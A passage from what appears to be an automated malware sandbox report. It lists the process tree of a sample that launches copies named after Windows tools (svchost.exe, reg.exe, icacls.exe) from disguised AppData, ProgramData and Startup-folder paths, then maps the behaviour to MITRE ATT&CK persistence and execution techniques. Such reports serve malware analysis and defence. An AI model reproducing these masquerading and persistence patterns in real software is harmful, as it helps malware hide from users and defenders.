"C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe" --startup
1⤵
PID:13528

C:\ProgramData\Microsoft OneDrive\Logs\SearchProtocolHost.exe
"C:\ProgramData\Microsoft OneDrive\Logs\SearchProtocolHost.exe" --startup
1⤵
PID:15776

C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe
"C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --guard
1⤵
- System Location Discovery: System Language Discovery
PID:7536

C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe
"C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --guard
1⤵
PID:1044

C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe
"C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe" --guard
1⤵
PID:4940

C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe
"C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe" --guard
1⤵
PID:8164

C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\gpresult.exe
"C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\gpresult.exe" --startup
1⤵
PID:16196

C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe
"C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --startup
1⤵
PID:8252

C:\ProgramData\MicrosoftService\choice.exe
"C:\ProgramData\MicrosoftService\choice.exe" --guard
1⤵
- System Location Discovery: System Language Discovery
PID:8488

C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe
"C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --startup
1⤵
PID:3136

C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe
"C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --guard
1⤵
PID:5200
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5200 -s 852
  2⤵
  - Program crash
  PID:14632

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --guard
1⤵
PID:8732

C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe
"C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --guard
1⤵
PID:5348
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 228
  2⤵
  - Program crash
  PID:4220

C:\Users\Admin\AppData\Local\MicrosoftService\gpupdate.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\gpupdate.exe" --startup
1⤵
PID:6832

C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe
"C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --guard
1⤵
PID:15820

C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --guard
1⤵
- Modifies file permissions
PID:9632

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --startup
1⤵
PID:3760

C:\ProgramData\ssh\Logs\psr.exe
"C:\ProgramData\ssh\Logs\psr.exe" --guard
1⤵
PID:12420

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --guard
1⤵
PID:13672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 11144 -ip 11144
1⤵
PID:9424

C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\iexpress.exe
"C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\iexpress.exe" --startup
1⤵
PID:9664
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 9664 -s 192
  2⤵
  - Program crash
  PID:6952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5348 -ip 5348
1⤵
PID:7312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 892 -p 9664 -ip 9664
1⤵
PID:5660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 5200 -ip 5200
1⤵
PID:11584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Scheduled Task/Job

T1053

Scheduled Task